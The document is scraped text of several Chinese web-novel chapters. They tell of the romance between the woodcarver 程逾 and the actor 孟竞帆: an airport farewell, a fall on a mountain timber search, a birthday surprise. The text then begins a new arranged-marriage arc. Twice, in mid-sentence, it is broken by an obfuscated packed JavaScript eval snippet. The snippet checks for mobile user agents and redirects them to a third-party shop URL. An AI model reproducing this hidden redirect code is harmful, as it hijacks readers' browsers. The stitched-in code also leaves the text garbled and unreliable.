“已经订好了,是下午四点的飞行,待会儿我送您去机场。” “不用了,你留在片场照顾他吧。”程逾说,“我现在回去收拾行李,自己打车走。” “别,你等一下。”助理连忙拦住她,“一定要和孟哥说一声,不然倒霉的就是我了。” 程逾挑眉:“他还能骂你不成?” “骂倒是不骂,就是会冷脸,太吓人了。”助理说,“小鱼姐,你等一下吧,行吗?今天只有一场戏就收工了,完全来得及的。” “行吧。” 程逾挂断电话后回了酒店。 行李刚收拾好,孟竞帆回来了,他在房车里换了日常的衣服,一看就打算亲自送她去机场。 程逾一愣:“你送我去啊?” 孟竞帆接过她的箱子,说:“现在就走吧,这里路况不太好走,去机场都得几个小时,到时候我再陪你吃个午饭。” “别了吧。”程逾听着都觉得累,“你来回跑图什么啊?” “我图你总是拒绝我。”孟竞帆白了她一眼,“到底在跟我客气什么?” 程逾也横他一眼:“我只是觉得你跑来跑去没必要,我打个车走多方便。” “我乐意,再说了这地方也不**全,还是送你上飞机了我才能安心一点。” 程逾拗不过孟竞帆,最终还是坐上了他的车。 车是他向组里工作人员借来的,一辆很拉风的军绿色吉普。 “这车好酷啊。”程逾拍了下。 “你喜欢?”孟竞帆问。 程逾生怕他霸总上身,来一句“喜欢就买”,立马摇了摇头:“还行吧。” 孟竞帆看透她的心思,笑道:“又不是没钱。” 程逾上了副驾,说:“你拍戏赚了几个啊,天天开销那么大。” 孟竞帆向左打了方向盘,将车开了出去,回她:“我啃老啊,拍戏才赚几个钱。” 他和其他演员的区别就在于他有戏拍,且能挑,凭的就是魏思沅的公司,她的公司魏川也有投资。 孟大少自己也有股份,同公司艺人戏称他小老板。 开了三个多小时,中午十一点半左右,程逾和孟竞帆抵达机场。 离起飞还早,孟竞帆带程逾去附近吃饭。 “你想吃什么?” 程逾对这里不了解,说:“你看着点吧。” “这里有一种面条很好吃,还配着饼,去看看,我感觉你应该会喜欢。” 程逾喜欢吃面条,以前方姐还在的时候经常做,还学了全国各地的做法。 新来的阿姨做饭也很好吃,但没有方姐的味道。 孟竞帆在机场吃过一次,凭借着记忆,他找到了店铺。 程逾喜欢吃牛肉,他就给点的牛肉。 这会儿正是饭点,店里人还是很多的,但孟竞帆因为配戏需求,整个人形象和以往大相径庭,一时也没人认出来 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也不知道是从什么时候养成的习惯,明明小时候他不爱吃的夹自己碗里,还被她师父和川叔说呢。 不过现在夹的都是她喜欢吃的。 “阿姨没给你煮一些开胃生津的汤水吗?”孟竞帆蹙眉。 “有的, 一顿饭,花费的时间不到四十分钟,还有两个小时的空余时间,孟竞帆想要逛一逛,被程逾拒绝了。 “你一个大明星在这里逛,有被认出来的几率,我可不想再像上次那样东躲西藏,我候机去吧,顺道休息一下。” “昨晚没睡好?”孟竞帆问。 程逾诚实地点了点头:“是有点没睡好,我有点认床。” 孟竞帆抬手给她整理了下衣领:“走吧。” 程逾拉下他的手:“就送到这儿吧,我自己进去。” “行。”孟竞帆指了指停车场,“在这儿待着,我去给你拿行李箱。” 程逾点了点头:“好。” 停车场不算远,十五分钟左右,孟竞帆将行李箱拿了过来。 程逾接过自己的箱子,抬手朝他挥了挥:“我走了。” 她这一走又只能在手机屏幕里见,这部剧要拍摄大概四个月,那会儿已经到了年底。 杀青后还有一系列的商务活动和跨年晚会,只怕真的要过年才能见了。 想到这儿,孟竞帆有些不甘心地拽住了她。 程逾讶然回眸:“怎么了?” “小鱼,要不我们试试吧。”孟竞帆看着她的眼睛,语气温柔而坚定。 程逾心脏要从口中吐出来似的,她回视孟竞帆,根本找不到自己的声音。 第302章 孟程(36) 程逾回到雁清的前三天一直心不在焉,孟棠察觉了也没问。 是个人都能看出来她在为情所困。 魏川抵了抵自家老婆:“小鱼还在丢魂呢?” 孟棠失笑:“不知道竞帆跟她说了什么,把人吓成这样。” “孟竞帆直来直去,大概是表明了心意。”魏川嘿笑一声,“我猜的啊,不保真。” “看着确实像。”孟棠应和了一句。 “你要不要去找小鱼谈谈心?” “别烦她,她在纠结就说明竞帆不是毫无竞争力。” “有点道理啊。” 程逾确实在犹豫,因为她考虑的东西有点多。 就算不说他们五岁的年龄差,就说在一起之后怎么办? 如果以后分手了,这个家她还能待下去吗?还有他演员的身份……其实摆在他们面前的有很多难题。 现如今大热演员,35以下的没有结婚的。 12年,她都40了。 程逾烦躁地抓了把头发,直挺挺扑倒在床上。 “孟竞帆……”她无意识喊了声他的名字,“你是真烦。” 孟竞帆不知道程逾辗转反侧在梦里叫他的名字,彼时因为一段路透上了热搜。 孟竞帆演技自小就好,粉丝安利也属正常,但营销号阴阳怪气,说他整天买热搜。 孟竞帆见多了阴阳怪气,自己没什么感觉,只是可惜了路透这段剧情,大概率要删减。 程逾一早醒来,发现不少人在骂孟竞帆,顿时无语了。 她换了小号偷偷骂了下。 结果孟竞帆没一会儿给她发来了信息:【告诉你多少遍了,不要为了我在网上跟人对骂,那些人扒人的速度比你骂人的速度快。】 程逾觉得惊奇:【你怎么知道我骂人了?你知道我有小号?】 孟竞帆:【你什么我不知道,赶紧的,下次不要这样了。】 【不是,你到底怎么知道的?】程逾真觉得他神了。 【就你那地址还有昵称,谁看不出来。】 她的昵称是木头小鱼,就凭这个? 程逾回复:【孟竞帆,你别是诓我的。】 孟竞帆:【我诓你干什么,语气也像,我当时第一反应就是你,进了你的主页看是小号,诈你一波,果然承认了。】 程逾:【……诈我的?你真行哈。】 孟竞帆:【嘿嘿嘿,男人就得行。】 程逾:【滚吧。】 孟竞帆嘻嘻哈哈地下线了。 程逾翻了个白眼,又在心里骂了他几句。 房门被敲响,听节奏像孟棠,程逾连忙去开了门。 “师父。” 孟棠微微颔首,说:“我给咱俩接了个活计,是近两年里最大的,但料子不太好寻。” “是宗祠要为百年庆典准备的物件吗?”程逾问,“我之前看到宗祠的管事来找过您。” 孟棠点了点头:“镇上的老料断货了,新料子的密度不太够。” 程逾说:“那我去一趟省南。” 孟棠:“行,你也不是新人了,师父相信你,进山要注意的事项我就不跟你多说了,能找到最好,找不到也不要逗留,我也会全渠道托人找货。” 程逾“嗯”了声:“好的师父,我都知道的,您别担心,我明早就走。” 程逾不是第一次出门寻料,孟棠对她很是放心。 翌日一早,程逾从雁清坐车前往省南。 程逾来省南寻过几次料,每次都是搭配熟悉的人,其中一人是当地的向导。 说来也巧,乔松清就在省南,这次出门她特地带来了雕刻完的物件。 乔松清带着未婚妻见到了程逾。 程逾将精美的木盒推至两人面前:“省得你们跑一趟了,这套木盒算是我给你们的新婚贺礼。” 乔松清的未婚妻惊讶地赞叹道:“光看盒子就好漂亮啊。” 程逾笑笑:“喜欢就好。” “喜欢,超级喜欢。” 程逾看了眼时间:“里面的物件儿你们拿回去慢慢看,我可能要走了,这次出来有正事要办。” “等一下。”乔松清拦住她,“我送你过去吧,顺便我想问问张延的情况。” “行。”程逾一口答应,“那我车上跟你说吧。” 张延的情况好了很多,在父母的催促下开始了相亲,为着这事,他还跟程逾吐槽过。 乔松清听得想笑:“他怎么没跟我说呢。” “那我可就不知道了。”程逾眉眼一转,“你俩的友谊不会这么脆吧?” 乔松清大笑:“张延知道你挑拨离间来了吗?” 程逾耸了耸肩:“我可没有。” “山里危险,你有安全措施吗?”虽然知道程逾有准备,乔松清还是问了一嘴。 “有准备。”程逾说,“你们不用担心我,也不是我一个人进山。” 到了目的地后,程逾和乔松清两人告别。 她今晚要在省南最南边的镇上休息一晚,明日清早跟老师傅和向导入山。 与她一同前行的是木雕馆的另一位木雕师傅,他稍晚些会到。 “小鱼师傅,出来看星星啊。”老师傅家的小女儿在院中喊了一嗓子。 “来了。”程逾拿上手机,出了房间。 一抬头,程逾被漫天繁星惊到失语,明明不是第一次看到。 前年跟着师父来这里寻料,也是住的这里,晚上也看到了星星。 她师父和川叔浪浪漫漫挨在一起私密话语,她在一旁没心没肺啃着草莓。 今年师父和川叔没来,她倒没了没心没肺的状态,竟然还起了点分享欲。 程逾拿起手机,对着天空拍了张照片给孟竞帆发了过去。 发完过了会儿,她有些后悔,但撤回已经来不及了。 程逾瘫在摇椅上叹了声气。 “小鱼师傅,你叹什么气啊?” 程逾偏头,问女孩:“你有过喜欢的人吗?” “当然了,我今年都21了。” “好年轻。”程逾感叹了句,“你谈过男朋友没有?” “谈过一个,他是我小学同学,但家里反对没能在一起。” 程逾坐起身:“你家里反对?” “他家里反对,嫌弃我没有父母,只有爷奶相依为命。” 程逾轻嗤:“……什么世道啊。” “小鱼师傅,你呢?还没结婚啊?” 程逾又叹了声气:“难啊,我最近吧,也遇到了点感情困扰。” “我看着你这次也和前两年不太一样了,你要是不嫌弃,就跟我说说呗。” 程逾隐了孟竞帆的身份,将自己的纠结跟小女孩说了。 “是因为年龄稍微大一点,想的也多一点吗?他那边的父母不是说了不干涉吗?” “我觉得你都跟我说了你的烦恼,心里应该也是舍不得。” “而且……你刚才第一时间把星星的照片发给了他。” “在我们这里,一般只会和喜欢的人分享星星的照片。” 程逾一时尴尬,没想到被小女生看到她给孟竞帆发图片了。 “你看吧,老头还在隔壁闲聊呢,我去接接。” 程逾和她挥了挥手,打算看会儿星星就回房,刚躺下来,孟竞帆发来了视频邀请。 程逾歪着头接了起来:“喂。” “你在哪儿呢?”孟竞帆上来就问。 “我背景什么的也没露出来,你怎么知道我不在家,师父给你说的?” “你不是给我发了一张黑布隆冬的图,我看着视角就不太像家里。”孟竞帆说,“到底在哪儿?” “在省南呢,需要一块老料,我进山看看,真正宗祠要的,挺重要的活,开张吃三年的那种。” 孟竞帆从不干涉她的工作,但不免皱了眉头:“几个人去的?” “还是老样子呗,五六个人吧,当地三四个人,我和馆内的雕刻师傅。” 孟竞帆下意识地点点头:“找的都是可靠的人吗?就你一个女孩吧。” “放心吧,都是往年合作的,还是住的瞿大叔家,他家孙女也陪我们一起上山。” 孟竞帆看了眼时间,说:“那你早点休息,明早要早起吧?” “嗯。” “那早点睡吧,不打扰你了。” “孟竞帆。”程逾突然出声阻拦了下,“你看着很累。” “熬大夜了。”孟竞帆的嗓子都哑了,“早点休息吧,过了这几天就好了。” “那你早点休息,我也去睡了,还有,那不是黑布隆冬的照片,是我看到的星星。” 说完,程逾切断了视频。 翌日清晨,程逾和几人在瞿大叔家吃了早饭后上了山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749397|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 晨雾正盛,几人前后拉着绳一道上山。 黄杨木喜阴,一般都长在海拔八百米以上的溪谷岩壁旁或阔叶林下。 但黄杨木娇贵,成长的速度比蜗牛爬的还慢,十来年才能长手指头般大小,一百年也难以长成碗口大。 山头近处基本都被采光了,只能往深山里去。 程逾要找的老料是有天然疤节的密度高的料子。 从树皮到树干都得要经得起检验才行。 程逾一行人沿着溪涧往上爬,苔藓都要没过脚踝了。 前头向导让大家小心些,因为山林里的腐叶繁多,下面会藏着碎石。 一不小心就会有陷阱,好在向导和两个当地的人熟悉山路,程逾走得还算轻松。 正午歇息的时候,瞿家孙女对程逾竖起大拇指:“你真牛,都不见你喘的。” “平时也得锻炼身体啊。”程逾说,“也要锻炼力道,师父在这方面比较严格。” “小鱼师傅,吃点猪肉干。” “谢谢。”程逾接过向导的投喂,给了身边女孩一份,“一起吃点,再休息十来分钟就得往上走了。” “好,我这里还有点水。” 几人补充了体力,歇息闲聊了会儿又出发了。 下午两点左右,程逾一行人抵达瀑布上方的崖壁边。 老师傅顿时停了动作,嗅到了黄杨木特有的松脂味的淡香。 程逾也闻到了,她抬眼望去,崖壁半腰的石缝里,斜着一丛黄杨木。 “我去,运气真好。”程逾笑了声,“就是这个位置不太好弄。” “下面有个平台,我先下去。” 程逾回眸说:“看着是不高,小心点。” 那人应一声,手脚并用抠着崖壁往下滑,他们都有专业的安全措施,程逾提心吊胆地看着。 直至对方安全降落才松了口气。 这些人都是寻木的老手,用卷尺量了下,报了具体的参数给上面,程逾一一记下。 树还要专业的人来砍来拉,回程途中,程逾脚下都轻快了许多。 山上信号不好,程逾打算下山再给孟棠报喜。 她原本没抱希望的,哪知就被她找到了,真是天选之女。 一时得意忘形,程逾没注意到脚下,一脚踩空腐叶,脚踝一歪,整个人从险峻的坡上滚下,吓得一群人脸色巨变。 若是没有遮挡物,她会这么一直往下摔,轻则骨折,重则要命。 看着险坡,实则坡下是悬崖。 程逾后背撞上一块石头,她闷哼了声,脑子里七拐八拐地想到了孟竞帆。 下意识的求生意识让她四肢去找能挂得住她的东西。 越往下速度越快,程逾抓住一根藤蔓却没拽紧,但缓冲了向下的力道。 她清楚地记得,悬崖下方是一方黑潭,掉下去不死也得半残。 慌乱中,她再次抓住一根和藤蔓紧缠的树干,一阵头晕目眩后,终于安静了下来。 心脏始终剧烈地跳动着,程逾张着嘴,小心翼翼往下看去,这一看又吓得闭上了眼睛。 “别动啊,千万别动,我们安全绳绑一下就下去救你,一定要撑住。” 听到人声,程逾平静了下来。 因为有专业救援的人在,程逾又很配合,大家齐心协力,一个小时不到就将她弄了上来。 瞿家孙女握着程逾的肩膀,问:“小鱼师傅,你没事吧?” 程逾盯着她看了半天,两眼一翻晕了过去,又是一阵兵荒马乱。 再次醒来时,程逾看到的是病房的天花板。 随意一动,脚上剧痛袭来。 “你别动,脚断了。” “师父?”程逾惊讶地看着来人,“川叔?你们怎么来了?” 孟棠盯着她,抬手帮她的发丝撩至耳后,说:“小鱼,你吓死我了。” “师父。”程逾撒娇地抱上去,“我这不是没事嘛。” “还说,你——” “小鱼!” 平地一声如雷吼叫打断了温情的师徒俩,程逾看着突然出现,脸色极其难看的孟竞帆,不知为什么有些害怕和心虚。 “你俩闲聊。”孟棠起身将魏川拉了出去。 “程逾,你真的是有本事啊,我说了——” “孟竞帆,要不我们试试吧。” “啊?” 第303章 孟程(37) 孟竞帆满腔的怒火和担忧化作一声疑问。 “试试什么?”孟竞帆看着她,“是我想的那个意思吗?” “你说呢。”程逾强装镇定,“不过要约法三章。” 孟竞帆嘿嘿一笑:“你说。” 程逾:“第一,如果以后分手,你不能把我撵出家门;第二……” “等一下。”孟竞帆将她的话拦截,“还没在一起呢,已经想着分手以后的事了,再一个,我能撵你出门吗?就算我一时脑子被驴踢了,爸妈能把我吊起来打吧。” “……你别整天污蔑师父和川叔。”程逾白他一眼,“这是我自己要跟你约法三章的,你到底听不听?” “行行行,你说。” 程逾继续道:“第二就是暂时别公开;至于第三,你得给我段时间适应一下这种身份的转变。” “想公开都公开不了,经纪人会杀了我。”孟竞帆说,“再过两年吧。” 程逾见他答应得爽快,倒也没有意外。 她看了眼自己的腿,叹气道:“真断了了啊?” “我听你这语气还挺遗憾,遗憾自己没有看到。”孟竞帆语气不大好,“你都痛晕过去了,你说呢?” 程逾干笑了声:“不小心踩空的,以前也没出过这样的事。” 孟竞帆小心翼翼碰了下她的腿,眼底盛满心疼,程逾这个人吧,是挺能忍耐的一个人,痛也不会嘴上说出来,还会嬉皮笑脸开玩笑,不让别人担心。 “下次别去了,我跟我妈说一声。” “你干什么?”程逾立刻拉下了脸,“这就管起来了?那你拍戏的时候也别喝和女演员亲嘴知道吗?” 孟竞帆:“……” 虽然目前还没有过,但作为演员,这种事迟早要碰到。 除非你不做演员了。 “吃醋了?”孟竞帆在她身旁坐下,想要去拉她的手,被程逾一把躲开了。 “好好好,我不干涉,我不就是担心嘛,你知道我从组里跑来省南飞了多久吗?” 程逾态度稍软,说:“我知道,但你不应该给剧组请假,师父又不可能放任我不管。” “明天剧组休息,我待会儿就要去机场了。” 程逾一时无话,又心疼他来回地跑,嘀咕道:“傻了吧唧的。” 孟竞帆点了下她的额头:“真要走了,要不给我个拥抱?” 程逾拍拍手,张开双臂,豪爽道:“来吧。” 孟竞帆上前抱住她,在她耳边说了好多罗里吧嗦的叮嘱,程逾笑着听完,没有不耐烦。 裤兜里的手机又响了起来,孟竞帆知道不能再耽误,偏头在程逾脸上偷袭亲了一口。 “吧唧”一声,亲得程逾都愣住了。 反应过来时,病房里只剩下她一个人。 心脏超速了,好半天换不过来,程逾缓缓躺了回去,呆滞地看着天花板,她的脸颊到现在还萦绕着孟竞帆的香气。 到底喷了多少香水? 孟棠进来时,程逾猛然坐了起来。 “你别动啊。”孟棠吓得连忙制止她,“腿还不能动,你这么激动干什么?” 程逾有些尴尬:“师父……你看见了?” “我看见什么啊?”孟棠装傻,“我什么都没看到,臭小子扔下一句话就去机场了,不过还是关心你的,来的时候脸色不太好看,白白一片。” 程逾挠了挠头。 孟棠按住她的手背,示意她躺下去。 “小鱼,别有负担,自由地去做自己想要做的事就好。” 程逾瘪嘴,想哭了。 孟棠捏了下她的脸:“其实你俩修成正果对我来说是好事一件,有你陪着竞帆守着雁清的宅子,我比较放心。” 她的孩子们对大宅都有感情,但程逾住在里面的时间最久,她没有离开过雁清。 不像孟竞帆兄弟俩从小学开始都是在z市上的学。 她倒是想过把宅子给程逾,但也清楚地知道她不会接受。 一旦孟竞帆结婚,按照程逾的性格,她势必不会继续住在大宅里。 如今一切问题迎刃而解,孟棠自己也觉得轻松不少。 相比两个儿子,她更心疼程逾多一些,她看着大大咧咧,其实是高敏人群。 孟竞帆的性格很适合她。 程逾在医院住了半个多月,转回雁清养伤去了。 伤筋动骨一百天,她去不了木雕馆,每天只能待在家里做活计。 孟棠忙碌外出时,宅子里只剩她一个人。 程逾坐在轮椅上雕刻着小物件,这是给孟竞帆雕刻的葫芦坠。 其实她给孟竞帆雕刻过不少小物件,但称得上有寓意的几乎没有,都是剩下的边角料捣鼓的小玩意。 她手艺好,雕出来的东西活灵活现,孟竞帆连送人都不舍得,全都收在自己的房间。 曾经有朋友看上他的十二生肖,被他一口回绝。 虽然不值什么钱,但是他见过程逾雕刻它们的样子,怎么会舍得送出去。 孟棠从镇上祠堂回来后,找了程逾一起商量摆件的事。 “师父,管事说了什么?” 孟棠回:“管事说要显祠堂庄重,也得有雁清好山好水的灵气,灵鹿衔芝怎么样?” “这么大的件,找料子就费了不少功夫,鹿是有灵气的动物,但灵芝厚重,构图要平衡。” 孟棠颔首:“你找的那块老料随行造势,对我们俩难度不大,最重要的是气韵。” 程逾取了手边的炭笔和纸,和孟棠讨论这块料子的雕法。 “师父,按照传统雕刻法,鹿躲在松下或云间,这样飘逸灵动,若是放到山石灵芝旁,会不会沉了?” 孟棠:“祠堂是根脉的所在,要的就是沉下去的厚重,你来说说怎么雕刻?” 程逾想了会儿,说:“要把主峰山脉、山石云海搭配得当,动静相辅,形成对比,鹿依照山石而上,回首有灵,这样一来,鹿和山石形成第一重对比;灵芝要成丛、成势……” 师徒俩谈论起来不知天黑,还是魏川进来打断了两人。 程逾的腿还没好全,吃完饭,孟棠就让她回了房间休息。 她闲不下来,靠在床头继续雕刻她的葫芦,孟竞帆打来视频的时候,她都没空搭理。 “到底在雕刻什么?”孟竞帆颇有微词,“倒是抬眼看看我,好不容易今天收工早。” “等会儿。”程逾聚精会神,“马上就好了。” 她离手机太远,孟竞帆看不清楚她在雕刻什么,只能安静地等。 生怕是她的工作,不敢打扰分毫。 镜头里的程逾安静又专注,不知道是不是灯光的影响,孟竞帆觉得她格外好看。 二十来分钟,程逾呼出一口气,她放下刻刀,对着镜头晃了晃:“葫芦保平安,好看吗?” “你凑近点。” 程逾将手机拿了起来,对准木雕葫芦给他看。 葫芦小巧圆润,线条流畅,还没打磨已见灵动,足以证明她的技艺高超。 孟竞帆看向程逾:“给我的吗?” 程逾“嗯”了声:“是给你的,你经常在外面跑,时常在天上飞,葫芦寓意好。” “打磨后给我寄过来吧。”孟竞帆说,“我后面忙**,没空回家。” “行。” 见她兴致不高,孟竞帆逗她:“想我啊?” 程逾哼笑:“巴巴打视频过来的是谁呢?让我寄葫芦的又是谁?” 孟竞帆:“……行,我承认,我想你了。” 程逾哼了声:“知道了。” “什么语气啊,我感觉你下一句就要说‘小孟子,退下吧’,重说”。孟竞帆不依不饶。 “行。”程逾拿他没办法,年龄小,宠着呗,“我知道你想我了,在外面好好工作。” “还是没说到重点。”孟竞帆还是不满意,“你说一声想我会怎么样?” 程逾晃了晃手中的葫芦:“我喜欢用行动来表示,到底要不要?” 可恶啊,看着那双亮晶晶的眼,孟竞帆成功被哄好。 “要。”几乎咬牙切齿的一个字。 “等着,打磨封护后给你寄过去。” 孟竞帆眯了眯眼睛:“小鱼,好困啊。” “你洗过澡了?”程逾盯着镜头,“困的话就睡呗。” “但是感觉还没和你聊几分钟。”孟竞帆说,“不太想挂掉。” “简单,你现在去洗澡,洗完澡开视频,聊到你睡着。” 孟竞帆说:“我已经洗过澡了。” “那你直接闭上眼睛吧。”程逾将葫芦放在床头,“估计聊一会儿你就能睡了。” 孟竞帆闭上眼睛,嘀咕了声:“你不许挂啊。” “知道了,”程逾无奈,“你这戏拍到什么时候?” 孟竞帆小声说:“快了,就在我生日前后。” 程逾轻笑:“故意提醒我吗?怕我忘了你生日?” “我哪有这个意思。”孟竞帆也跟着她笑,“我是想要在生日那天见你一面,但我好像在首都参加商务活动。” 程逾透过屏幕看那张无比熟悉的脸:“到时候再说吧,我的活计都在雁清,耽误一两天也没什么,我倒是说走就走,但计划赶不上变化。” “我明白你的意思。”孟竞帆的声音越来越低,“到时候再说,小鱼,我还是想见你……” “知道了。”程逾见他的眼皮不再颤动,温柔地哄了声,“我到时候飞首都见你,好吗?” “嗯。” “睡吧。” 孟竞帆睡着了,和小时候没什么变化,就是瘦了些。 程逾至今还记得,有一回孟棠和魏川去赵疏白家里办点事情,孟竞帆那会儿上幼儿园。 晚上他有点害怕,钻进了她的被窝。 程逾虽然有点嫌弃,还是搂着他睡了两晚。 她学着奶奶以前对她的样子拍着他睡觉,搞得这臭小子总爱钻她被窝。 小时候还好,没什么男女界限,从他幼儿园毕业后,魏川严令禁止他再去和程逾睡觉。 程逾乐得轻松,毕竟小胖子挺沉,有时候会把她一只胳膊枕得无知无觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752911|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>现在想起来还觉得好笑,程逾静静看了会儿视频里的孟竞帆,随后切断了通话。 翌日一早,程逾进了工坊打磨葫芦。 孟棠看到时难得取笑她:“一个葫芦这么宝贝,给孟竞帆的?” 程逾有些脸红,但她诚实,说:“是给他的,寓意好嘛。” “再有一个月左右就是他生日了,我问过他小姑,大概率不会回来,你过去找他吗?” 程逾停了手里的动作,对孟棠说:“昨晚他还说了这件事,但我在纠结,祠堂的物件……时间上不算充裕,我要是走了,只能您自己一个人来。” “你又不是走了就不回来了。”孟棠失笑,“我顶几天也没什么,倒是你,你想去吗?” 程逾抿了抿唇,有些不好意思地说:“昨晚跟他说了我去给他过生日,他那会儿估计在首都参加商务活动,顺道把这个小葫芦给他。” 希望他过年的时候,平平安安地回来。 孟棠:“说好了就去吧,玩几天再回来。” 程逾倒是想转转,但孟竞帆出门绝对会被认出来。 或者,她自己一个人转转也是可以的,第一站就去国家博物馆,好久没去了。 孟竞帆在二十多天后杀青了,程逾得到了消息,特地给他开了视频庆祝。 代拍拍到后,这段视频曝光了。 cp粉狂喜,唯粉狂日,营销号带节奏…… “我说cp粉到底在嗑什么,人家是姐弟好吗?” “综艺里孟竞帆就没喊过小鱼姐姐吧?我们嗑我们的,也没贴你们的脸啊,管那么宽。” “别的明星或许是靠粉丝,但孟竞帆可不需要啊,他一根腿毛都没有也能拍到好戏,就看他以往接的作品就知道了。” “资源咖一个,你们倒是挺真情实感的,还是回去多孝顺爸妈吧。” “资源咖怎么了?他又没有滥用资源,接的也是合适自己的角色,前年甚至将难易拱手相让,这些你们都看不见吗?” “有些人就是酸啊,孟竞帆的粉丝都是理智派。” “小帆船唯爱孟竞帆。” “……” 说什么的都有,孟竞帆**以为常。 他目前比较担忧的是程逾会不会来给他过生日。 距离他生日只有两天了,雁清毫无动静。 孟竞帆在又一个商务活动结束后回了家,拖鞋还没换,他就给程逾打了电话。 明天就是他生日了,这人什么意思啊? 不来也得说一声啊,害他白白期待。 “孟哥。”门口传来敲门声,“有你的快递,我刚才忘了给你了。” 孟竞帆转头打开门,接过了助理给他的快递。 寄件地址是雁清,孟竞帆直觉不好,站在玄关就给拆了。 看到葫芦吊坠是又喜又失落,喜的是葫芦到了,失落的是程逾可能不来了。 他叹了声气,拎着小葫芦来回看了好多遍,自言自语道:“行吧,我一个人过也可以是,跟他们开视频,让他们没人都给我唱个生日歌,中英文的都得来一遍。” “你嘀嘀咕咕什么呢?我在里面等了你半天。” 孟竞帆猛然回头,看到程逾时,不可置信地呆愣在原地。 程逾得意扬眉:“惊喜吗?” “我靠……”孟竞帆跑过去,一把兜住她的腰,将人抱了起来转了两三圈,“真的来了。” 程逾被他转得头晕,拍了拍他的肩膀:“停停停,要吐了。” 孟竞帆傻笑了声,将人放到地面上。 程逾一时分不清东西南北,撞到了孟竞帆的怀里。 孟竞帆十分自然地搂住她:“你在里面忙什么?” “不会做,买了一堆菜,还有生日蛋糕。” “走,吃饭去。” 孟竞帆回来得迟,很多菜已经冷了,他和程逾又一一热了一遍,口感大打折扣。 不过这些不重要,重要的是程逾来了。 “你特意没给我说,是为了给我惊喜?” “算是吧。”程逾和他碰杯,“我知道你晚上肯定会来这里。” “哦?那你怎么知道我密码的?” 程逾抬眸:“你密码不一直都那六位数吗?我的生日加你的生日。” 快到十二点了,程逾把蛋糕拿出来点上蜡烛。 孟竞帆突然起身坐到了她身边,拉住她的手问:“小鱼,你能来,是真的愿意跟我试试了吧?” 其实距离试试已经过去了很久,两人视频没有断过。 程逾转头朝他笑了笑:“先吹蜡烛吧,吃完蛋糕告诉你。” 十二点整,程逾放了生日歌,孟竞帆许了愿,吹了蜡烛,他的注意力一直都在程逾的身上。 “祝你生日快乐,孟竞帆,你有什么生日愿望吗?”程逾注视着他,眼神里带着鼓励。 孟竞帆似有所感,说:“有,跟我在一起。” “那你闭上眼睛。” 孟竞帆乖乖闭上了眼睛。 程逾起身,在他唇边落下浅浅的一个吻:“答应你了。” 第304章 先婚后爱(1) 七月,z市民政局门口。 魏云舟看了眼腕表,已经十点了,他的结婚对象还没来。 “小魏总。”司机回眸,“要不给祝小姐打个电话?可能是路上有事耽搁了。” “祝卿月……”魏云舟嚼着对方的名字,为她的不守时而蹙眉,印象分直接扣没了。 除了家人,没人知道冷淡毒舌的小魏总有给人打分的毛病。 司机感觉后面凉气袭人,又催了遍:“要不还是打个电话吧?” 魏云舟转头瞪着司机,跟着他的时间也挺长了,和他家里人都混熟了,现在开始不怕他了。 “江叔,我记得你最初给我开车的时候很怕我。” **呵呵一笑,略有敷衍:“现在也怕的。” 魏云舟:“……再等一会儿。” **不说话了,魏云舟难得等人,毕竟是未来的妻子,还是有点耐心的。 其实魏云舟是气得没招了,今天这个婚是必须要结的。 两姓联姻,为的都是利益,领证的日子是算好的,至于婚礼,祝卿月乐意办的话,可以慢慢准备。 又等了十来分钟,魏云舟的耐心告罄。 他拿起手机,刚要拨电话,车窗被人敲响。 魏云舟降下车窗,一脸嫌弃地看着祝卿月怀中脏兮兮的猫。 “呃……”看着未婚夫铁青的脸,祝卿月小心脏一跳,硬着头皮说,“有没有东西装它?” 魏云舟忍着气:“……我们马上要去领证。” “我知道。”祝卿月看他脸色,嗫嚅着说了句,“但我也不能见死不救吧,挺可怜的,受伤了。” 她的表情有点委屈,魏云舟想起第一次见她的时候,正被她堂姐妹欺负呢。 祝卿月是祝家二房的独生女,只不过父亲早逝,和母亲相依为命。 在争权夺利中明哲保身,依附大房,在祝家算是透明人,因为她父亲也不受宠。 祝家那几个女的,魏云舟一个没看上,唯独祝卿月顺眼点。 当初被魏云舟看上,祝卿月自己都惊呆了。 也因为这件事,她堂妹跟她相忘于江湖了。 “这边有呢。”**见他家少爷板起了脸,连忙从储物箱里找出一个纸袋递过去,“这行吗?” “行。”祝卿月扬起笑脸,“谢谢江叔。” 魏云舟瞥向前头:“跟你说多少遍了,储物箱里不要放乱七八糟的东西。” “知道了。” 魏云舟呵笑:“知道,下次还敢。” **挠了挠头,憨厚地装傻。 祝卿月看向魏云舟,举起手里的猫:“要不让它先在车上待一会儿,我们领完证再送它去宠物医院。” 魏云舟问:“就是为了它迟到的?” 原来是耿耿于怀她迟到的事,祝卿月堆砌笑脸:“对不起~” 讨好退步的事信手拈来,在家里没人撑腰,想必这样的事没少做。 魏云舟拉开车门,让她上了车,视线触及到她脏了的白色衬衫时,蹙眉问道: “你衣服脏了,一会儿怎么拍照?” 祝卿月垂眸一瞧,确实脏了,她看向魏云舟,杏圆的眼睛直勾勾的。 “算了,”魏云舟指了指自己的衣服,“这个要不要?” “那你怎么办?”祝卿月说,“光着吗?” 魏云舟:“……” 不知道脑瓜子怎么想的。 他朝前头喊:“**,把你的白衬衫给我。” “啊?”司机吓得转了半个身体,“我脱了也没了啊。” 